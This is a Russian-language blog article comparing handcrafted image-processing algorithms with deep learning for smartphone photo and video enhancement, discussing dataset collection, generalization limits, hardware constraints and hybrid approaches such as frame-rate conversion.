Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Обработка изображений и видео на смартфонах: handcrafted-алгоритмы против глубокого обучения

Зеркалка — хорошая штука, но смартфон однозначно компактнее и удобнее. Да, мобильная оптика все еще далека до уровня зеркалок, однако получить красивые фотографии человек хочет здесь и сейчас. Как быть? Взамен харда, подключается софт, алгоритмы!

Именно софт смартфона помогает снять фото в HDR или сделать видео менее смазанным. Он состоит из «классических» вычислительных алгоритмов и нейросетей. Вычислительные алгоритмы требуют много ручной работы и глубокого понимания решаемой задачи, зато хорошо работают при ограниченных вычислительных ресурсах. Нейросети прожорливы, но сильно упрощают жизнь разработчику и потенциально позволяют достичь большего. Объединение двух этих подходов даёт замечательные результаты!

Несколько примеров улучшения изображений
Несколько примеров улучшения изображений

Вычислительные алгоритмы и нейросети: в чём отличия?

Все вы знаете, что современные парадигмы обработки цифровых, визуальных, звуковых данных — это методы машинного, либо глубокого обучения. Разница между ними не очень большая, но тем не менее, есть.

Deep Learning «забирает» у человека функцию извлечения признаков. Источник картинки: https://levity.ai/blog/difference-machine-learning-deep-learning
Deep Learning «забирает» у человека функцию извлечения признаков. Источник картинки: https://levity.ai/blog/difference-machine-learning-deep-learning

Машинное обучение (Machine Learning, ML) — это некий процесс, в котором человек участвует на этапе формирования правил по извлечению признаков. То есть человек, используя свою интуицию, эвристику, экспертное представление об объектах анализа предполагает, какие из признаков (для изображения: контуры, цвет, размер связанных объектов, частотные характеристики и так далее) могут быть использованы для задач, выполняемых машиной, к примеру, для классификации (разбиения данных на группы, например, для e-mail — на спам и нормальные письма). Таким образом, человек берёт на себя функцию, связанную с тем, что стоит считать важным для данной задачи, какие признаки данных следует далее передавать алгоритму для принятия решения. В этом случае значительную роль играет личный опыт и понимание специфики задачи. Такой подход оправдан до сих пор для случаев, когда отсутствуют тренировочные данные достаточного качества и количества для обучения нейронных сетей.

Глубокое обучение (Deep Learning, DL) — в этом случае человек делегирует ответственность по извлечению признаков самой нейронной сети. Нейронная сеть формирует внутреннее представление признаков в соответствии с тем, какая целевая задача перед ней стоит, и таким образом сама определяет, что считать важным в тренировочных данных. Обычно, целевая задача формулируется в виде математических критериев, численным образом формализующих разницу между предсказанными и истинными значениями. Эту разницу называют функцией потерь. Нейронная сеть пытается решить поставленную задачу наиболее оптимальным образом за счёт минимизации разницы между прогнозируемыми и истинными результатами в ходе тренировки, сводя эту разницу, «потери», к минимуму. Роль человека в данном случае касается выбора предпочтительной архитектуры нейронной сети (модели), и что не менее важно, формулировки критериев обучения с помощью функции потерь.

Кроме выбора характеристик нейронной сети и способа тренировки, ещё одним немаловажным аспектом в глубоком обучении является представительность и качество тренировочных данных, поскольку именно из этих данных нейронная сеть далее черпает представление о том, как должен выглядеть результат. Соответственно, если в тренировочных данных отсутствуют примеры, которые потом будут встречаться на практике, то такая несбалансированность может привести к неверному «поведению» нейронной сети: она будет иметь склонность сводить результаты только к тому, что «видела» в тренировочных данных.

Сейчас большинство инженеров, когда приступают к новой задаче, решают её методами машинного или глубокого обучения. Глубокое обучение в некотором смысле даже более простой вариант, поскольку система устроена как черный ящик, которому мы даем входные данные, определяем задачу с помощью математических критериев и контролируем результат. Поэтому часто забывается, что предшествовало эпохе машинного и глубокого обучения.

Раньше всё приходилось делать руками
Раньше всё приходилось делать руками

Можно сказать, это была ранняя эра разработки алгоритмов, так называемых handcrafted («крафтовых») алгоритмов. Немногие сейчас углубляются в эту область, ведь современный инженер — это, прежде всего, специалист в машинном/глубоком обучении. Handcrafted — это немного пренебрежительное название алгоритмов, в которых человек сам определяет все шаги обработки данных (далее мы будем называть их вычислительными алгоритмами). Например, для задачи классификации человек самостоятельно устанавливает последовательность процесса обработки, способы вычисления признаков и принятия решения, при этом опирается на свое понимание проблемы и наблюдения. В итоге, исследователь создаёт модель этой проблемы и реализует её решение в виде алгоритма действий.

Такой подход обладает рядом недостатков (но есть и ряд преимуществ, о которых я расскажу далее): он очень сильно зависит от того, насколько человек погружен в проблематику, насколько он может достоверно сделать модель, учесть все нюансы. В задаче улучшения качества изображения инженер составляет математическую модель, описывающую деградацию (ухудшение качества) изображения: то, как оно изменяется под воздействием некоторых мешающих факторов (добавление шума, геометрических искажений или размытия), потом решает обратную задачу и реализует её. Такой подход существовал 10-15 лет назад и в ряде задач им пользуются до сих пор.

В компьютерном зрении 2012-й год стал «водоразделом»: нейросетевые подходы стали преобладать над «традиционными» вычислительными методами. Источник изображения: https://link.springer.com/article/10.1007/s11263-019-01247-4
В компьютерном зрении 2012-й год стал «водоразделом»: нейросетевые подходы стали преобладать над «традиционными» вычислительными методами. Источник изображения: https://link.springer.com/article/10.1007/s11263-019-01247-4

До 2012 года, когда появилась всем известная сеть для классификации AlexNet, доминировали традиционные методы — машинное обучение и вычислительные алгоритмы. После того, как был опубликован AlexNet, внимание разработчиков сконцентрировалось на нейросетевых подходах. Если мы правильно представляем данные и правильно формируем критерии обучения, то потенциал нейросетевых подходов гораздо выше, чем разработка алгоритмов, которые человек создаёт, пользуясь своей интуицией и инженерной эвристикой.

Нейросети: бочка мёда

Оптимальное решение вырабатывается самостоятельно системой в процессе тренировки. Оно будет оптимально в рамках установленных критериев и данных, на которых обучалась сеть.

Параллельно с эволюцией нейросетевых решений и развитием методов оптимизации появляется множество фреймворков, сред разработки, которые позволяют разработчику достаточно быстро погрузиться в предмет и использовать сложные математические функции, вызывая их буквально парой строк кода на Python.

Более того, идет очень плотная интеграция этих фреймворков с «железом», поскольку нейросетевые решения очень требовательны к вычислительным ресурсам. Разработчик получает прослойку в виде фреймворков, которая его отодвигает от необходимости понимания того, как вычисления будут распараллеливаться на графических картах, какие операции наиболее эффективно поддерживают нейросетевые вычисления и так далее. Это очень удобно. Фреймворки часто публикуются по модели Open Source, участники сообщества делают свой вклад и это способствует более стремительному развитию всей этой области. Я уже упоминал, что разработчики мобильных устройств сейчас серьёзно озадачены тем, чтобы обеспечить аппаратную поддержку для нейросетевых решений, поскольку понимают их преимущество. Таким образом, помимо графических ускорителей в смартфонах появляются дополнительные вычислительные модули — нейропроцессоры, которые нацелены именно на особенности вычислений нейронных сетей. Появляются инфраструктурные решения — коммерческие продукты, которые упрощают разработчику жизнь и уменьшают время, необходимое для получения первого результата.

Какие же есть сложности в глубоком обучении? Кратко пробежимся по ним.

Нейросети: ложки дёгтя.

1. Хорошие датасеты на вес золота

Поскольку разработчики постепенно отдаляются от старых приёмов разработки, то роль моделирования изменения данных перекладывается на обучающий датасет. С его помощью мы представляем нейронной сети примеры входных данных и того, как должен выглядеть результат, эталоны. При этом качество датасета играет большую роль: он должен быть достаточно сбалансирован, иметь представительность по всем возможным вариантам результатов.

Для задач улучшения качества изображений обучающие датасеты обычно представляют собой пары фото, например, исходное изображение с камеры смартфона, а другое, эталонное — с цифровой DSLR-камеры (цифровая зеркальная камера). В этом случае нейросеть имеет эталон (ground truth), к которому пытается приблизиться, изменяя входное изображение.

Сбор хороших данных — это сложный и дорогостоящий процесс. Существуют крупные компании, специализирующиеся на подготовке тренировочных данных, такие как Яндекс.Толока, Amazon Mechanical Turk, Dbrain, но такие сервисы в основном сконцентрированы на задачах, которые хорошо описываются и масштабируются, например, разметка изображений для сегментации изображений или распознавания текста. Привлекать их для создания эффективных и узкоспециализированных датасетов, как, например, для задачи повышения разрешения изображений (super resolution), — сложно, потому что здесь необходимо использовать оборудование и иметь понимание процесса, происходящего в камере.

Любопытно, но даже в таких отлаженных процессах как разметка изображений, можно неожиданно натолкнуться на сложности, например, для Amazon Mechanical Turk существовал такой термин как «мексиканский след» в данных. Просто так получалось, что на такую низкооплачиваемую и рутинную работу с готовностью вовлекались краудсорсинговые работники из Мексики, для которых она выглядела как привлекательная подработка. И, в итоге для задачи разметки изображений на две категории: привлекательные или менее привлекательные, мы получаем набор изображений, которые жители Мексики в среднем считают красивыми и интересными. Но, большой вопрос, насколько это может быть справедливо для жителей остальных стран, представители которых не заинтересовались заработком около 2$ в час для участия в разметке данных.

Машинное обучение в м/ф Futurama. Источник: https://habr.com/ru/articles/452392/
Машинное обучение в м/ф Futurama. Источник: https://habr.com/ru/articles/452392/

2. Ограничения обобщающей способности нейросетей

Каждая нейросеть имеет свой предел, называемый «обобщающей способностью». Нейросеть пока не может, подобно человеческому мозгу, работать со всей вариативностью реального мира.

В задачах классификации или распознавания образов есть очень известные проблемы. Например, сеть не может сфокусироваться на отдельном предмете, когда у нее множество мелких объектов. Она не может понять, какой из этих объектов наиболее важен, или принять решение о том, к чему он относится. Для такой сети нужны подсказки, по крайней мере, выделение областей интереса.

Источник: https://www.freeimages.com/premium/cartoon-toy-icon-415366
Источник: https://www.freeimages.com/premium/cartoon-toy-icon-415366

Вот другой пример, на полу лежит бесформенный носок. Как роботу-пылесосу понять, что это именно носок и с ним нужно выполнить определенную последовательность действий? Для робота сложно воспринимать его как конкретный предмет, потому что форма слишком неопределенна и изменчива. Даже если мы зададимся целью обучить систему компьютерного зрения робота разным возможным вариантам того, как носок может выглядеть, у робота будет недостаточно визуальных признаков, чтобы классифицировать такой предмет правильно, или наоборот он начнёт множество других предметов считать носками.

Восстания машин не будет из-за раскиданных по комнате носков. Источник: https://shansonline.ru/index.php/novosti/item/3040-v-khakasii-ukrali-million-rublej-khranivshijsya-v-noske-pod-krovatyu
Восстания машин не будет из-за раскиданных по комнате носков. Источник: https://shansonline.ru/index.php/novosti/item/3040-v-khakasii-ukrali-million-rublej-khranivshijsya-v-noske-pod-krovatyu

Также проблемы возникают с протяженными предметами, такими как кабели, удлинители. Это тоже очень сильно сбивает с толку искусственный интеллект, поскольку ему сложно восстановить общую связность предмета из набора наблюдаемых изменчивых фрагментов

Источник: https://novate.ru/blogs/240717/42311/

Вот еще одна широко известная иллюстрация узкой специализации нейронных сетей, связанной с их ограниченной обобщающей способностью. Нейронная сеть учится видеть мир только в тех обучающих картинках, которые она видела. Если мы ее обучали на собачках, то она на фотографиях кексиков будет постоянно встречать собак, которые очень похожи в рамках её накопленных признаков, и даже говорить, что она с высокой достоверностью видит чихуахуа в фото кекса. Таким образом, сеть даже не сможет подсказать пользователю, что в её решении что-то не так.

Классический пример обобщающих возможностей нейросетей: чихуахуа распознаётся на фото кексов с изюмом …. сеть “видит” только то, на чём она училась
Классический пример обобщающих возможностей нейросетей: чихуахуа распознаётся на фото кексов с изюмом …. сеть “видит” только то, на чём она училась

В мультфильме «Митчеллы против машин» (2021) есть эпизод, где семья побеждает восстание машин, показывая взбунтовавшимся роботам мопса, и роботы выходят из строя, не в силах понять, что перед ними — буханка хлеба или мопс.

Можно добавить еще более современный пример. В последние пару лет большой импульс в области искусственного интеллекта получили диффузионные генеративные сети, которые удивительным образом генерируют фотореалистичные фотографии по текстовому описанию того, что хочется увидеть на изображении. Но если попробовать эксперимент и попросить нейросеть нарисовать, например, что она считает эталоном настоящей красоты, то обнаружим, что интерпретация такого широкого термина у генеративных сетей находится в некоторой локальной области внутреннего представления, из которого сеть не может выбраться, и каждый раз генерирует очень похожие примеры.

Настоящая красота «Real beauty» для fusionbrain.ai – это исключительно голубоглазая девушка с каштановыми волосами
Настоящая красота «Real beauty» для fusionbrain.ai – это исключительно голубоглазая девушка с каштановыми волосами
Настоящая красота «Real beauty» в воображении Shedevrum.ai более разнообразна, но в среднем также есть свой локальный экстремум – африканская девушка с большим количеством цветов в волосах
Настоящая красота «Real beauty» в воображении Shedevrum.ai более разнообразна, но в среднем также есть свой локальный экстремум – африканская девушка с большим количеством цветов в волосах

3. Эффект «черного ящика»

Следующая сложность: нейросеть представляет собой «черный ящик». Мы подаем на вход данные, управляем её поведением с помощью критериев оптимизации, смотрим на результаты, валидируем их, но, тем не менее, мы не защищены от множества неприятностей. Эффект «черного ящика» очень усложняет разработчику понимание того, что же пошло не так, почему результаты отличаются от ожидаемых.

Вас же тоже раздражает, когда не знаешь, что именно пошло не так? Источник: https://www.freepik.com/premium-vector/robot-with-speech-bubble-login-form_10620044.htm
Вас же тоже раздражает, когда не знаешь, что именно пошло не так? Источник: https://www.freepik.com/premium-vector/robot-with-speech-bubble-login-form_10620044.htm

Алгоритмы, которые мы называем вычислительными, позволяют разработчику следить за каждым этапом обработки. Это гораздо ближе к тому, чтобы получить контролируемые результаты.

В случае нейронных сетей контролируемость результата и влияние на него превращается в проблему. Самый банальный пример, это ошибки в обучающих данных. Когда разработчик замечает неверное поведение нейронной сети, и тренировочных данных относительно немного, гипотетически их можно просмотреть и постараться найти ошибки, хотя даже для небольшого количества данных это нетривиальная задача. Самое элементарные ошибки: перепутали эталон с входом, допустили ошибки в наименованиях файлов или в процессе подготовки данных. Но, если датасет увеличивается до миллионов примеров и мы имеем дело с терабайтами изображений, то уже физически невозможно вручную проверить эти данные. Поэтому приходится вводить критерии и метрики для датасетов и результатов работы нейронной сети, которые могли бы сигнализировать, что что-то пошло не так, и помочь определить источник ошибки.

Для задач классификации метрики относительно просты и легче интерпретируются, изучая результаты, можно понять где ошиблись. Но, в задачах улучшения изображений, когда мы работаем с изменением очень мелких деталей, сложно подобрать объективные метрики. Обычно используются усреднённые генерализованные метрики, которые вычисляются по всему изображению, и если такой правильно подобранной метрикой можно поймать момент, например, что трава вместо зеленой стала синей, то если вдруг нейронная сеть стала производить ступенчатый эффект на границах объектов, такой эффект можно обнаружить только «глазами», внимательно изучая результаты обработки, при этом может остаться неясным источник проблемы в обучающих данных. Для контроля результата сети иногда даже создаются специальные нейросети, которые пытаются повторять работу когнитивного аппарата человека и в соответствии с ним возвращать оценку того, как бы изображение воспринималось человеком, не появился ли в результате обработки какой-нибудь неприятный для человеческого глаза элемент (артефакт).

Кроме контроля ошибок в датасетах, другой немаловажный аспект это сложность интерпретации поведения, решений нейронной сети. Существуют исследования, направленные на то, каким образом можно описать внутреннее представление сети, чтобы облегчить понимание происходящих процессов внутри сети в ходе обучения и их корректировку.

Есть подход с визуализацией признаков, которые выработала нейронная сеть, чтобы понять, какие из них она посчитала наиболее важными. Другой подход состоит в том, чтобы избегать сложные глубокие сети и заменять их на комбинацию простых, легко интерпретируемых моделей, по крайней мере на начальном этапе работы с задачей. Это важно для разработчиков нейронных сетей чтобы понять, как сеть видит мир и если что-то идет не так — как поменять архитектуру сети, усложнить функцию потерь.

И здесь мы возвращаемся к той самой интуиции инженера, которая была актуальна во времена вычислительных алгоритмов — традиционных методов, от которой нам нейронные сети вроде как позволяли уйти, чтобы более объективно выполнять нахождение оптимального решения.

4. Аппаратная зависимость

Большинство разработчиков этот момент не очень волнует, поскольку есть фреймворки на Python, но если мы хотим, чтобы нейросеть выполнялась на конкретном устройстве, например на смартфоне, то мы получаем такую неприятную особенность, как аппаратная зависимость.

Больше слоёв Богу слоёв! Источник: https://habr.com/ru/articles/455353/
Больше слоёв Богу слоёв! Источник: https://habr.com/ru/articles/455353/

Первое. Нейронный сопроцессор на смартфоне или компилятор может не поддерживать какие-либо операции, слои или поддержать недостаточно оптимально. Обычно, когда говорят про вычислительное железо, то различают устройства общего назначения, такие как центральный, графический процессор (CPU, GPU), так и специализированные, например нейронный процессор (NPU).

  • CPU хорошо подходят для большинства задач, но малоэффективны для выполнения нейронных сетей.

  • GPU выше по эффективности, поскольку поддерживают многопоточность, матричные вычисления, но уже имеют ограничения в том, что на них можно считать.

  • NPU самые быстрые для нейронных сетей, поскольку базовые операции «зашиты» в железо, и вычисления требуют минимальные энергозатраты, но обеспечивают наиболее высокое быстродействие. Но, пользоваться NPU сложнее всего, поскольку требуется учитывать то, что он умеет, а что нет. Соответственно, разработчику приходится перекраивать модель нейронной сети под вид, поддерживаемый NPU, проводить соответствующую оптимизацию, обеспечивать нужную битность, некоторые критически важные вычисления, которые нельзя выполнить на NPU, – отдельно реализовывать на GPU.

Разработчику приходится тратить свое время и силы на подбор архитектуры, дружественной к вычислительным ресурсам конкретного устройства. А потом выходит новая модель смартфона с обновленным железом, и приходится проходить путь заново. Справедливости ради стоит сказать, что индустрия стремительно развивается и приходится всё меньше сил тратить на поддержку или обновление модели нейронной сети для эффективного выполнения, но тем не менее проблема остаётся актуальной.

Второе. Фреймворки отстают от железа. Разработчики графических процессоров и нейропроцессоров обычно делают дополнения к существующим крупным фреймворкам, но это процесс небыстрый. Появление нового железа и его полная поддержка занимают некоторое время, и в этот период могут возникать ошибки, требующие отладки.

Третье. Тренировочные данные также часто бывают аппаратнозависимыми. Нейронная сеть обеспечит более корректный результат, если будет обучаться на данных с «целевого» устройства. Например, если снова обращаться к теме улучшения изображения, то характеристики камеры, архитектура сенсора, особенности оптики, количество и размер пикселей имеют существенное значение. Датасеты со старых камер не годятся, нужно снимать данные заново. При этом есть жесткие временные ограничения по срокам выхода очередной модели смартфона на рынок. Конечно, можно пробовать использовать данные с других устройств, за счёт моделирования оптических эффектов, интерполяции стараться приблизиться к специфике целевой камеры, но от точности такого моделирования зависит эффективность обработки и зачастую по трудоёмкости такой подход не уступает самому сбору тренировочных данных. В статьях иногда встречаются упрощенные варианты моделирования датасетов, например, для задачи повышения разрешения используют хорошие фотографии высокого разрешения (эталон), уменьшают размер (входные данные) и на этих данных тренируют нейронную сеть. Но здесь есть риск, что нейронная сеть просто выучит обратную функцию для операции понижения разрешения, и результат на реальных данных не будет соответствовать ожиданиям.

Теперь посмотрим пример: как нейросети и вычислительные алгоритмы используются в задачах обработки фото и видео на смартфоне.

Особенности задач улучшения изображений и видео

Фотография проходит длинный путь, начиная c накопленных зарядов на фотоматрице сенсора камеры и заканчивая изображением, которое пользователь видит на экране смартфона. Преобразованием сырых данных с сенсора камеры, основными этапами обработки изображения и его улучшением занимается сигнальный процессор (image signal processor — ISP), который является неотъемлемой частью любой цифровой камеры. Этот процессор — «железное» воплощение вычислительных алгоритмов. Сигнальные процессоры строятся на тех самых вычислительных hand-crafted алгоритмах, куда заложена модель изменения изображения: контраст, яркость, баланс белого, четкость границ, шумоподавление и так далее. С одной стороны, это обеспечивает максимальное быстродействие и саму возможность реализации алгоритмов в чипе. С другой стороны, алгоритмы в ISP достаточно консервативные, использование памяти для хранения промежуточных вычислений, рекурсивные приёмы обходятся слишком дорого для таких устройств, поэтому туда закладываются не совсем новые подходы, да и сам процесс разработки ISP занимает несколько лет.

Наиболее типичная задача для камеры смартфона - это задача шумоподавления. Мобильные камеры обычно имеют маленькие сенсоры, что делает их очень подверженными воздействию шумов, грубо говоря, маленький пиксель сенсора собирает меньше фотонов при низкой освещённости фотографируемой сцены, и шумы сенсора становятся сопоставимы с энергией собранного света. Гонка за размером сенсора как раз и связана с тем, чтобы захватывать больше света и обеспечить меньший уровень шума. При недостаточном размере сенсора задача шумоподавления решается алгоритмически, но в некоторых пределах.

Алгоритмы спасли оленя от шакалов. (Слева фрагмент с шумом, справа результат алгоритмического шумоподавления) Источник фото: https://www.fujirumors.com/topaz-denoise-ai-v3-2-improved-raw-color-processing-and-performance/
Алгоритмы спасли оленя от шакалов. (Слева фрагмент с шумом, справа результат алгоритмического шумоподавления) Источник фото: https://www.fujirumors.com/topaz-denoise-ai-v3-2-improved-raw-color-processing-and-performance/

Другая задача связана с ограниченностью динамического диапазона камеры. Например, при съемке заката у моря камера не способна передать весь динамический диапазон, который мы видим своими глазами. Обычно это ограничение также решается алгоритмически: накапливается некоторое количество кадров, полученных с разной экспозицией, и далее они объединяются в одну фотографию с более насыщенными яркими цветами, становятся видны детали в тенях и ярких областях сцены. Возможно, вам известна аббревиатура HDR — она как раз и означает расширенный динамический диапазон (high dynamic range).

Алгоритмы сделают это фото теплее и романтичнее. Источник: https://www.electronicwings.com/users/SujanaAbirami/projects/2074/dark-image-enhancement-using-image-processing
Алгоритмы сделают это фото теплее и романтичнее. Источник: https://www.electronicwings.com/users/SujanaAbirami/projects/2074/dark-image-enhancement-using-image-processing

Следующая картинка — это уже пример более высокоуровневой задачи. Например, когда человек фотографирует через стекло, то отражения и блики на фотографии потом сильно бросаются в глаза. Фотографу или дизайнеру хочется их отретушировать, но для этого нужно обладать соответствующими навыками и программами, поэтому обычные пользователи рассчитывают на автоматические алгоритмы.

Блики тоже удаётся убрать. Источник: https://www.fiverr.com/yanewore/improve-the-quality-of-your-photo-and-change-the-format
Блики тоже удаётся убрать. Источник: https://www.fiverr.com/yanewore/improve-the-quality-of-your-photo-and-change-the-format

Итак, подведем небольшой итог. Улучшение изображения включает в себя разнообразные задачи, как низкоуровневые (шумоподавление, HDR), так и высокоуровневые (ретуширование, коррекция артефактов — например, открыть глаза у человека или добавить улыбку, убрать мешающий объект и т. д.).

Вычислительная сложность и вызовы мобильной фотографии

Какая же главная проблема при работе над улучшением изображений? Увеличивается вычислительная сложность задачи, особенно по сравнению с задачами классификации, распознавания изображений.

Вычислительные затраты на нейросети, понижающие размерность (как классификатор слева), существенно ниже. Источник: http://www.add3d.ru/?page_id=21517, https://www.researchgate.net/figure/UNet-structure-for-localizing-the-clouds-and-shadows-coarsely_fig2_342399093
Вычислительные затраты на нейросети, понижающие размерность (как классификатор слева), существенно ниже. Источник: http://www.add3d.ru/?page_id=21517, https://www.researchgate.net/figure/UNet-structure-for-localizing-the-clouds-and-shadows-coarsely_fig2_342399093

Например, при классификации изображений нейросеть архитектуры VGG-16 получала на вход изображение, а на выход давала класс (размерность слоёв нейронной сети постепенно уменьшается и требуется сравнительно немного вычислительных ресурсов). В случае же сегментации изображений требуется модель нейронной сети формата image-to-image, когда размерность выхода сети сопоставима с размерностью входа (например, широко известные нейросети архитектуры U-Net), в этом случае на порядки возрастает вычислительная сложность задачи.

Размер изображений напрямую влияет на вычислительную сложность. Для сохранения деталей нужно работать попиксельно, с полным разрешением, в то время как производители, стремясь улучшить качество изображения, постоянно увеличивают количество мегапикселей мобильных камер.

«Гонка мегапикселей»: разрешение мобильных камер растет стремительно. Это создает дополнительные вызовы для обработки изображений: даже просто сохранить в памяти 200 Мп изображение — нетривиальная задача.
«Гонка мегапикселей»: разрешение мобильных камер растет стремительно. Это создает дополнительные вызовы для обработки изображений: даже просто сохранить в памяти 200 Мп изображение — нетривиальная задача.

Удобство для пользователя: пользователи не готовы ждать обработку фото больше 3-4 секунд с момента съемки. Сложную обработку можно производить в фоновом режиме, но к моменту, когда пользователь перейдёт в галерею, его должно ждать готовое фото полного разрешения, т.е. применение облачных вычислителей для подготовки фотографии ограничено.

Видео обычно обрабатывается в реальном времени: предполагается, что пользователь снимает видео, и алгоритм тут же пытается уменьшить уровень шума или добавить HDR-эффект. Поэтому требования к обработке видео растут, особенно с внедрением HD, Full HD и даже 4K разрешений на мобильных устройствах. Важно обеспечить высокую скорость обработки видео, в рамках 30-60 кадров в секунду, что требует всего десятки миллисекунд на один кадр.

Как уже упоминалось выше, объективные численные критерии качества для обработки изображений существуют, но они не охватывают все нюансы, поэтому наряду с метриками по-прежнему используется трудоёмкая экспертная оценка результатов человеком на отсутствие видимых артефактов, поскольку человеческий глаз очень чувствителен к тому, что происходит не так на изображении, даже если удельный вес искажений (артефактов) очень мал (например, если замылились границы или появились цветовые искажения).

Специфика работы со смартфоном требует осторожного распределения нагрузки на вычислительных ресурсах (например, учета работы приложений в фоновом режиме) и энергопотребления, выражающегося, прежде всего, в нагреве устройства. Все компании, производящие смартфоны, стараются оптимизировать и контролировать вычисления, чтобы ограничить расход батареи и неприятный нагрев смартфона.

Дополнительно, алгоритмам необходимо конкурировать с хардварными сигнальными процессорами ISP, в том смысле, что это устройство уже присутствует в смартфоне, оно выполняет свою работу, пусть даже и не всегда наилучшим образом. Таким образом, разрабатываемое решение (например, нейросеть) должно либо превосходить по качеству, либо предоставлять преимущества пользователю там, где обычный ISP не справляется, например, давая возможность качественной ночной съемки.

Важно учитывать изменчивость аппаратного обеспечения (не только количества мегапикселей в камерах, но и того, как устроены сенсоры), так как каждое новое поколение устройств вносит свои особенности, что также требует адаптации алгоритмов.

Кто побеждает в итоге: машинное обучение или handcrafted алгоритмы?

Это вопрос из раздела «кого любишь больше: маму или папу?» Источник: https://www.livemaster.by/topic/135625-tsena-i-tsennost
Это вопрос из раздела «кого любишь больше: маму или папу?» Источник: https://www.livemaster.by/topic/135625-tsena-i-tsennost

Можно сказать, что машинное обучение перевешивает, так как этот подход обладает огромным потенциалом, тем более, появляются мощные процессоры с поддержкой ИИ. Машинное обучение избавляет разработчика от необходимости вдаваться в детали и позволяет собирать данные и задавать критерии, в то время как ручная настройка требует от человека разработки собственных алгоритмов на основе его понимания задачи.

Но в ряде случаев вычислительные алгоритмы оказываются вне конкуренции:

  1. Когда у нас нет тренировочных данных, например, когда по каким-то причинам нет камеры, которая будет снимать фото для датасета (а мы помним, что алгоритмы машинного обучения очень зависимы от оборудования). Потребуется использовать вычислительные алгоритмы, чтобы поддерживать будущие особенности «железа»

  2. Человек, конструируя алгоритм вручную, получает контроль за вычислительной сложностью и промежуточными вычислениями. Инженер, понимая, какие подпроцессы работают медленнее всего (например, умножение и деление вычислительно гораздо «дороже», чем сложение) может это проецировать на то, как он видит будущий алгоритм. Соответственно, такой алгоритм получится более оптимальным.

В ряде случаев (например, для аппроксимации эллипса или круга) использование нейронных сетей — это как забивание гвоздей микроскопом. Нейросеть будет использовать миллионы параметров и большой объём ресурсов. Человек, обладающий инженерной интуицией, может для этого использовать всего несколько параметров и легко это решить.

Побеждают гибридные алгоритмы!

Сочетание вычислительных и нейросетевых алгоритмов — один из способов решения проблем, о которых я написал выше. В задачах обработки видео стараются отдать нейросетевым алгоритмам небольшую часть, когда они работают с данными, которые уже агрегируют какую-то визуальную информацию.

Рассмотрим несколько примеров.

Пример: увеличение количества кадров

Ниже пример алгоритма для увеличения количества кадров (frame rate conversion, FRC), он используется как дополнение для высокоскоростных сенсоров камеры, обеспечивающих съёмку до 960 кадров в секунду.

Гибридный алгоритм увеличения количества кадров (frame rate conversion, FRC) обеспечивает на порядок больше кадров в секунду даже на смартфоне!
Гибридный алгоритм увеличения количества кадров (frame rate conversion, FRC) обеспечивает на порядок больше кадров в секунду даже на смартфоне!

В этом алгоритме нейросети отвечают только за маленький блок, детектирующий эффект окклюзии, когда из-за движения в кадре один из объектов заслоняет другой, и вычислительный алгоритм с высокой вероятностью запутается и сгенерирует промежуточные кадры с ошибками. Здесь нейронная сеть справляется гораздо лучше мозга инженера. Для неё проще определить признаки окклюзии. Поскольку в данном случае нейросеть оперирует не с пикселями, а с векторами движения, ей проще уложиться в требуемые временные рамки и выделенные вычислительные ресурсы. Анализируя сложность движения на видео, алгоритм предсказывает момент появления артефактов и включает меры для предотвращения этого.

Благодаря современным алгоритмам шакалы не доберутся до этого щеночка
Благодаря современным алгоритмам шакалы не доберутся до этого щеночка

Пример: как получить датасет с данными глубины

Ниже пример end-to-end задачи (вычисляемой полностью на нейросетевых алгоритмах), чтобы рассказать о способе получения данных для датасета без затраты больших ресурсов. Хорошие датасеты — это нефть IT-индустрии. Если команда имеет хорошие представительные тренировочные датасеты или инструменты для их сбора, она может «торговать» ими не хуже, чем алгоритмическими решениями.

Существует задача предсказания глубины по всего одному изображению: камера видит одну картинку и пытается понять, на каком расстоянии находятся объекты. У сети нет вспомогательной информации, и поэтому она по аналогии с человеческим восприятием учится понимать относительные пропорции «знакомых» объектов, и за счёт понимания их взаиморасположения строить карту глубины. Карта глубины может использоваться как для навигации роботов, так и для фотоэффектов, например имитации эффекта размытия объектов вне фокуса, который возникает для профессиональных камер с хорошей оптикой.

Это не кадры из фильма ужасов, это фото с картами глубины (depth)
Это не кадры из фильма ужасов, это фото с картами глубины (depth)

Идея подхода вроде простая, как раз для нейронной сети, но возникает проблема, где искать тренировочные данные и в каком представлении? Самый простой вариант: используем оборудование для измерения глубины (например, с помощью ToF камеры или лидара) и совмещаем с карту глубины с фотографией от обычной камеры. Это трудоемко и затратно, требуется специальное оборудование, выравнивание фотографии и карты глубины и время для съёмки.

Но можно использовать более простой и интересный способ, который уже себя оправдал: показывать нейронной сети коммерческие стереофильмы высокого качества. Этого будет достаточно, чтобы нейросеть за счёт наблюдения непохожестей в изображениях стереопары сформировала внутреннее представление, используемое далее для оценки глубины изображений. Такие фильмы доступны, и за редким исключением, когда резко меняется сцена или появляются субтитры, применимы без проблем.

Знаете, я своего рода тоже нейросеть!
Знаете, я своего рода тоже нейросеть!

Но даже несмотря на доступность данных, возникали сложности: в части датасетов были перепутаны левое и правое изображения, и нужно было искать ошибки в данных вручную. Таким образом, даже при использовании нейросетей, инженерный подход иногда остается необходимым для анализа и фильтрации входных данных.

Пример: как получить датасет со смазанными изображениями

Ещё один пример того, как можно достаточно «дешево» получить обучающие данные. Да, всё равно приходится собирать датасет, но значительно с меньшими затратами времени и сил.

Инженеры Samsung решали задачу компенсации смаза и для сбора данных использовали высокочастотную камеру, которая снимала со скоростью 400 кадров в секунду. Таким образом, получали 400 четких изображений сцены — эталон (ground truth). Затем имитировали смазанное изображение с помощью специального алгоритма, который использовал несколько последовательных кадров и объединял их, моделируя дрожание рук у пользователя и длительное открытие апертуры камеры. Это позволило создать пары из смазанных и четких изображений, что сильно упростило обучение и позволило быстро достичь первых результатов.

Алгоритмы сделали изображения справа гораздо более чёткими
Алгоритмы сделали изображения справа гораздо более чёткими

Заключение

Главное: при решении задачи вам следует иметь в виду разные способы получения обучающих данных, иметь широкий кругозор и понимать, что не всегда нейросетевые решения исключительно удобны и эффективны. Если ваше решение ориентировано на реальный мир, эти датасеты должны быть очень высокого качества.

